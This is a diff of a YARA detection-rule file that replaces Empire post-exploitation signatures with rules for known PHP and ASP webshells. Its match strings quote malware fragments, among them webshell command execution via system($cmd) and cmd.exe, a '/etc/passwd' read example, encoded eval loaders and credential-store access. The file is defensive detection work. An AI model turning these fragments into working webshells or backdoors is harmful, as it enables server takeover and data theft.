-		( uint16(0)==0x7566 and filesize <10KB and 1 of them ) or all of them
+		3 of them
 }
-rule SIGNATURE_BASE_Empire_Exploit_Jboss : FILE
+rule SIGNATURE_BASE_Webshell_Safe0Ver
 {
 	meta:
-		description = "Detects Empire component - file Exploit-JBoss.ps1"
+		description = "PHP Webshells Github Archive - file safe0ver.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a9c75cf5-9469-5a45-b750-69728ed0069f"
-		date = "2016-11-05"
+		id = "a7fc8c89-f7a1-5958-823a-763dedb3066d"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L173-L190"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a0eef14c3966745a0f2b7eb404eed122a11eea2fb82884ebd2087b3ab90bff93"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6009-L6026"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "366639526d92bd38ff7218b8539ac0f154190eb8"
+		logic_hash = "ae5de63b79804cf8c99bc5ea0c8862cf05e4085451d2b516cf95565bf32f3876"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9ea3e00b299e644551d90bbee0ce3e4e82445aa15dab7adb7fcc0b7f1fe4e653"
 
 	strings:
-		$s1 = "Exploit-JBoss" fullword ascii
-		$s2 = "$URL = \"http$($SSL)://\" + $($Rhost) + ':' + $($Port)" ascii
-		$s3 = "\"/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service" ascii
-		$s4 = "http://blog.rvrsh3ll.net" fullword ascii
-		$s5 = "Remote URL to your own WARFile to deploy." fullword ascii
+		$s3 = "$scriptident = \"$scriptTitle By Evilc0der.com\";" fullword
+		$s4 = "while (file_exists(\"$lastdir/newfile$i.txt\"))" fullword
+		$s5 = "else { /* <!-- Then it must be a File... --> */" fullword
+		$s7 = "$contents .= htmlentities( $line ) ;" fullword
+		$s8 = "<br><p><br>Safe Mode ByPAss<p><form method=\"POST\">" fullword
+		$s14 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
+		$s20 = "/* <!-- End of Actions --> */" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <10KB and 1 of them ) or all of them
+		3 of them
 }
-rule SIGNATURE_BASE_Empire_Dumpcredstore : FILE
+rule SIGNATURE_BASE_Webshell_Uploader
 {
 	meta:
-		description = "Detects Empire component - file dumpCredStore.ps1"
+		description = "PHP Webshells Github Archive - file Uploader.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cdb87ed4-fa90-5724-b37d-97cf8e4b8326"
-		date = "2016-11-05"
+		id = "c68e15d9-865e-5269-a91c-00619fe76305"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L192-L207"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7136920e531d7ab621e743c5c89c0d817fe453108878e3c808814ca48ad57fb3"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6027-L6038"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e216c5863a23fde8a449c31660fd413d77cce0b7"
+		logic_hash = "c4b915f60a952131caa2c4f5bb2eea85ef25f27cabb8ad36a6bb928433558954"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c1e91a5f9cc23f3626326dab2dcdf4904e6f8a332e2bce8b9a0854b371c2b350"
 
 	strings:
-		$x1 = "[DllImport(\"Advapi32.dll\", SetLastError = true, EntryPoint = \"CredReadW\"" ascii
-		$s12 = "[String] $Msg = \"Failed to enumerate credentials store for user '$Env:UserName'\"" fullword ascii
-		$s15 = "Rtn = CredRead(\"Target\", CRED_TYPE.GENERIC, out Cred);" fullword ascii
+		$s1 = "move_uploaded_file($userfile, \"entrika.php\"); " fullword
 
 	condition:
-		( uint16(0)==0x233c and filesize <40KB and 1 of them ) or all of them
+		all of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Egresscheck : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Kral
 {
 	meta:
-		description = "Detects Empire component - file Invoke-EgressCheck.ps1"
+		description = "PHP Webshells Github Archive - file kral.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "21e09250-6853-5743-a6ef-aa6be8091d33"
-		date = "2016-11-05"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L209-L222"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "693564e0bd98ebd03cd433d8ba1003051a5cf6b1f0c05d3c5a4682e6d667327e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6039-L6055"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4cd1d1a2fd448cecc605970e3a89f3c2e5c80dfc"
+		logic_hash = "0aded226f4e54c0169b9fbda91458f581ea47f9f8bda61a350b5e6f8b60931f3"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e2d270266abe03cfdac66e6fc0598c715e48d6d335adf09a9ed2626445636534"
 
 	strings:
-		$s1 = "egress -ip $ip -port $c -delay $delay -protocol $protocol" fullword ascii
+		$s1 = "$adres=gethostbyname($ip);" fullword
+		$s3 = "curl_setopt($ch,CURLOPT_POSTFIELDS,\"domain=\".$site);" fullword
+		$s4 = "$ekle=\"/index.php?option=com_user&view=reset&layout=confirm\";" fullword
+		$s16 = "echo $son.' <br> <font color=\"green\">Access</font><br>';" fullword
+		$s17 = "<p>kodlama by <a href=\"mailto:priv8coder@gmail.com\">BLaSTER</a><br /"
+		$s20 = "<p><strong>Server listeleyici</strong><br />" fullword
 
 	condition:
-		( uint16(0)==0x233c and filesize <10KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Reflectivepick_X64_Orig : FILE
+rule SIGNATURE_BASE_Webshell_Cgitelnet
 {
 	meta:
-		description = "Detects Empire component - file ReflectivePick_x64_orig.dll"
+		description = "PHP Webshells Github Archive - file cgitelnet.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cd69a149-d881-5f93-9647-84241bd96ba5"
-		date = "2016-11-05"
-		modified = "2022-12-21"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L224-L240"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a87c5f1da9c490887cba5e9837ca40ac92b63d8c36b682f4be770ac061b5acdf"
+		id = "b02d8549-ebfe-522c-9a6d-8657273da3ed"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6056-L6070"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "72e5f0e4cd438e47b6454de297267770a36cbeb3"
+		logic_hash = "e9b7096d5a19c9d5423bbfe125ae0347853919ab092efa98f0687a5d0cf68953"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		hash1 = "a8c1b108a67e7fc09f81bd160c3bafb526caf3dbbaf008efb9a96f4151756ff2"
+		quality = 60
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "\\PowerShellRunner.pdb" ascii
-		$a2 = "PowerShellRunner.dll" fullword wide
-		$s1 = "ReflectivePick" fullword ascii
+		$s9 = "# Author Homepage: http://www.rohitab.com/" fullword
+		$s10 = "elsif($Action eq \"command\") # user wants to run a command" fullword
+		$s18 = "# in a command line on Windows NT." fullword
+		$s20 = "print \"Transfered $TargetFileSize Bytes.<br>\";" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and 1 of ($a*) and $s1
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Out_Minidump : FILE
+rule SIGNATURE_BASE_Webshell_Simple_Backdoor_2
 {
 	meta:
-		description = "Detects Empire component - file Out-Minidump.ps1"
+		description = "PHP Webshells Github Archive - file simple-backdoor.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8c53d2ab-afc5-5d7b-97e1-496425b9664f"
-		date = "2016-11-05"
+		id = "faddd38e-d0c6-5299-9983-53351af1ece5"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L242-L256"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7ce4ac95ac942a2ad758b1d9034e6ec50d25d195ba1c2ae95a90a7490708e485"
+		old_rule_name = "WebShell_simple_backdoor"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6071-L6091"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "edcd5157a68fa00723a506ca86d6cbb8884ef512"
+		logic_hash = "655e445e51ec0f1bdce006a72acf3bce95941a349c279c14768760fa9f6f9d76"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7803ae7ba5d4e7d38e73745b3f321c2ca714f3141699d984322fa92e0ff037a1"
 
 	strings:
-		$s1 = "$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle," fullword ascii
-		$s2 = "$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"" fullword ascii
+		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
+		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+		$s3 = "        echo \"</pre>\";" fullword
+		$s4 = "        $cmd = ($_REQUEST['cmd']);" fullword
+		$s5 = "        echo \"<pre>\";" fullword
+		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s7 = "        die;" fullword
+		$s8 = "        system($cmd);" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <10KB and 1 of them ) or all of them
+		all of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Psexec : FILE
+rule SIGNATURE_BASE_Webshell_Safe_Mode_Bypass_PHP_4_4_2_And_PHP_5_1_2_2
 {
 	meta:
-		description = "Detects Empire component - file Invoke-PsExec.ps1"
+		description = "PHP Webshells Github Archive - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "19aaec3e-3e8f-5d7d-9c70-a212756c0300"
-		date = "2016-11-05"
+		id = "a504442f-85f2-55a1-8a07-1e0faccf8bc0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L258-L273"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "86af63a3be5b4940966932b129edbe4cca5ac1a31d120ba44fdca739e9c97ad4"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6092-L6106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8fdd4e0e87c044177e9e1c97084eb5b18e2f1c25"
+		logic_hash = "fbe1f77e00fbc4e58cbad564e2d96c0381765ac799dfdf6cc2580428c68f97a5"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0218be4323959fc6379489a6a5e030bb9f1de672326e5e5b8844ab5cedfdcf88"
 
 	strings:
-		$s1 = "Invoke-PsExecCmd" fullword ascii
-		$s2 = "\"[*] Executing service .EXE" fullword ascii
-		$s3 = "$cmd = \"%COMSPEC% /C echo $Command ^> %systemroot%\\Temp\\" ascii
+		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
+		$s3 = "xb5@hotmail.com</FONT></CENTER></B>\");" fullword
+		$s4 = "$v = @ini_get(\"open_basedir\");" fullword
+		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <50KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Postexfil : FILE
+rule SIGNATURE_BASE_Webshell_Ntdaddy_V1_9
 {
 	meta:
-		description = "Detects Empire component - file Invoke-PostExfil.ps1"
+		description = "PHP Webshells Github Archive - file NTDaddy v1.9.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "58d9e057-efde-56ab-9b7e-982342a910e2"
-		date = "2016-11-05"
+		id = "a175fd28-5dc2-5827-87f0-4117e889e90e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L275-L289"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "74602d1c4986e6392df8845e0ed713499aa3b93c64e9d68e95f9dbaf60fe4299"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6107-L6121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "79519aa407fff72b7510c6a63c877f2e07d7554b"
+		logic_hash = "fdf8b4bb4980e588ad5ccee2d047660980d39f38617f887c5762dcdb0b858267"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "00c0479f83c3dbbeff42f4ab9b71ca5fe8cd5061cb37b7b6861c73c54fd96d3e"
 
 	strings:
-		$s1 = "# upload to a specified exfil URI" fullword ascii
-		$s2 = "Server path to exfil to." fullword ascii
+		$s2 = "|     -obzerve : mr_o@ihateclowns.com |" fullword
+		$s6 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
+		$s13 = "<form action=ntdaddy.asp method=post>" fullword
+		$s17 = "response.write(\"<ERROR: THIS IS NOT A TEXT FILE>\")" fullword
 
 	condition:
-		( uint16(0)==0x490a and filesize <2KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Smbautobrute : FILE
+rule SIGNATURE_BASE_Webshell_Lamashell
 {
 	meta:
-		description = "Detects Empire component - file Invoke-SMBAutoBrute.ps1"
+		description = "PHP Webshells Github Archive - file lamashell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a6b402ac-0925-5bc6-9d6a-b2b811496f9e"
-		date = "2016-11-05"
+		id = "60e39eed-baa2-5999-8560-0a0242ce2608"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L291-L305"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd87a5d3a710017953c8c19862e4daee25de0e57175cab8246eea6d067fcb4d1"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6122-L6138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b71181e0d899b2b07bc55aebb27da6706ea1b560"
+		logic_hash = "e58dbd6b9c65a139828890a3fadfad9031580fe189066489d266d37d7078ad98"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7950f8abdd8ee09ed168137ef5380047d9d767a7172316070acc33b662f812b2"
 
 	strings:
-		$s1 = "[*] PDC: LAB-2008-DC1.lab.com" fullword ascii
-		$s2 = "$attempts = Get-UserBadPwdCount $userid $dcs" fullword ascii
+		$s0 = "if(($_POST['exe']) == \"Execute\") {" fullword
+		$s8 = "$curcmd = $_POST['king'];" fullword
+		$s16 = "\"http://www.w3.org/TR/html4/loose.dtd\">" fullword
+		$s18 = "<title>lama's'hell v. 3.0</title>" fullword
+		$s19 = "_|_  O    _    O  _|_"
+		$s20 = "$curcmd = \"ls -lah\";" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <30KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Get_Keystrokes : FILE
+rule SIGNATURE_BASE_Webshell_Simple_PHP_Backdoor_By_DK
 {
 	meta:
-		description = "Detects Empire component - file Get-Keystrokes.ps1"
+		description = "PHP Webshells Github Archive - file Simple_PHP_backdoor_by_DK.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7fb57a0d-6b65-5ee8-96ef-9af303f15007"
-		date = "2016-11-05"
+		id = "2c424714-1d2c-5b89-b1bc-a201e37a0a5d"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L307-L320"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "710e1bbf517c6683bd3082786e605cb8e6a52460f9c96609610e5ab38800dc79"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6139-L6154"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "03f6215548ed370bec0332199be7c4f68105274e"
+		logic_hash = "1f65f759ec4045c521085aad84d0aea4dcfcf26eac4357751cf1dde6886d1718"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c36e71db39f6852f78df1fa3f67e8c8a188bf951e96500911e9907ee895bf8ad"
 
 	strings:
-		$s1 = "$RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000" fullword ascii
+		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
+		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
+		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
+		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
+		$s8 = "system($cmd);" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <30KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Dllinjection : FILE
+rule SIGNATURE_BASE_Webshell_Moroccan_Spamers_Ma_Edition_By_Ghost
 {
 	meta:
-		description = "Detects Empire component - file Invoke-DllInjection.ps1"
+		description = "PHP Webshells Github Archive - file Moroccan Spamers Ma-EditioN By GhOsT.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6aa14e8f-9801-5cd3-beb0-955e19d25503"
-		date = "2016-11-05"
+		id = "4fa9ce70-d300-55fe-bf98-636f026317ec"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L322-L335"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "450ca96dd7c80275d7e4eaf07a7229e27530c373b8d79af5be8f4a741daef448"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6155-L6168"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "31e5473920a2cc445d246bc5820037d8fe383201"
+		logic_hash = "0e3d2d97665b8849d121d63a22baf7393047a814dde3753e395418c1868b59be"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "304031aa9eca5a83bdf1f654285d86df79cb3bba4aa8fe1eb680bd5b2878ebf0"
 
 	strings:
-		$s1 = "-Dll evil.dll" fullword ascii
+		$s4 = "$content = chunk_split(base64_encode($content)); " fullword
+		$s12 = "print \"Sending mail to $to....... \"; " fullword
+		$s16 = "if (!$from && !$subject && !$message && !$emaillist){ " fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <40KB and 1 of them ) or all of them
+		all of them
 }
-rule SIGNATURE_BASE_Empire_Keepassconfig : FILE
+rule SIGNATURE_BASE_Webshell_C99Madshell_V__2_0_Madnet_Edition
 {
 	meta:
-		description = "Detects Empire component - file KeePassConfig.ps1"
+		description = "PHP Webshells Github Archive - file C99madShell v. 2.0 madnet edition.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "814a6ff9-a6ac-55e7-bb3f-597351ce421d"
-		date = "2016-11-05"
+		id = "51db0495-14f3-527e-865b-1405db57ff27"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L337-L350"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "044c8a326ee6cc74a918e6c28100032bfd2fb396ddab8683ab11e00f9370ab2a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6169-L6184"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f99f8228eb12746847f54bad45084f19d1a7e111"
+		logic_hash = "7cf825a604783ebc74b1dca53aaff5c886957c562e11276f2acce5ff1f6ab991"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5a76e642357792bb4270114d7cd76ce45ba24b0d741f5c6b916aeebd45cff2b3"
 
 	strings:
-		$s1 = "$UserMasterKeyFiles = @(, $(Get-ChildItem -Path $UserMasterKeyFolder -Force | Select-Object -ExpandProperty FullName) )" fullword ascii
+		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
+		$s1 = "eval(gzinflate(base64_decode('"
+		$s2 = "$pass = \"\";  //Pass" fullword
+		$s3 = "$login = \"\"; //Login" fullword
+		$s4 = "//Authentication" fullword
 
 	condition:
-		( uint16(0)==0x7223 and filesize <80KB and 1 of them ) or all of them
+		all of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Sshcommand : FILE
+rule SIGNATURE_BASE_Webshell_Cmdasp_Asp_Php
 {
 	meta:
-		description = "Detects Empire component - file Invoke-SSHCommand.ps1"
+		description = "PHP Webshells Github Archive - file CmdAsp.asp.php.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b06b507f-b6b8-5f4b-8d6d-920f141e9ac1"
-		date = "2016-11-05"
+		id = "184b1731-31a9-5040-aa25-d145e8064758"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L352-L367"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3749c3d58335cb08bff66fe3126fc4977261576a9fbedbd7da673e3921364850"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6185-L6204"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cb18e1ac11e37e236e244b96c2af2d313feda696"
+		logic_hash = "0fd9c7e83ad9ddf5cf88f1d1573324d9f24ae03a1951446fe11c116fd0cf4932"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cbaf086b14d5bb6a756cbda42943d4d7ef97f8277164ce1f7dd0a1843e9aa242"
 
 	strings:
-		$s1 = "$Base64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAA" ascii
-		$s2 = "Invoke-SSHCommand -ip 192.168.1.100 -Username root -Password test -Command \"id\"" fullword ascii
-		$s3 = "Write-Verbose \"[*] Error loading dll\"" fullword ascii
+		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
+		$s4 = "' Author: Maceo <maceo @ dogmile.com>" fullword
+		$s5 = "' -- Use a poor man's pipe ... a temp file -- '" fullword
+		$s6 = "' --------------------o0o--------------------" fullword
+		$s8 = "' File: CmdAsp.asp" fullword
+		$s11 = "<-- CmdAsp.asp -->" fullword
+		$s14 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+		$s16 = "Set oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
+		$s19 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
 
 	condition:
-		( uint16(0)==0x660a and filesize <2000KB and 1 of them ) or all of them
+		4 of them
 }
-rule SIGNATURE_BASE_Empire_Powershell_Framework_Gen1 : FILE
+rule SIGNATURE_BASE_Webshell_NCC_Shell
 {
 	meta:
-		description = "Detects Empire component"
+		description = "PHP Webshells Github Archive - file NCC-Shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8fdb48a0-5d40-55be-ae23-e9c8c4c2ecea"
-		date = "2016-11-05"
+		id = "3a2dab3d-faf0-52a5-b114-db402885c618"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L371-L390"
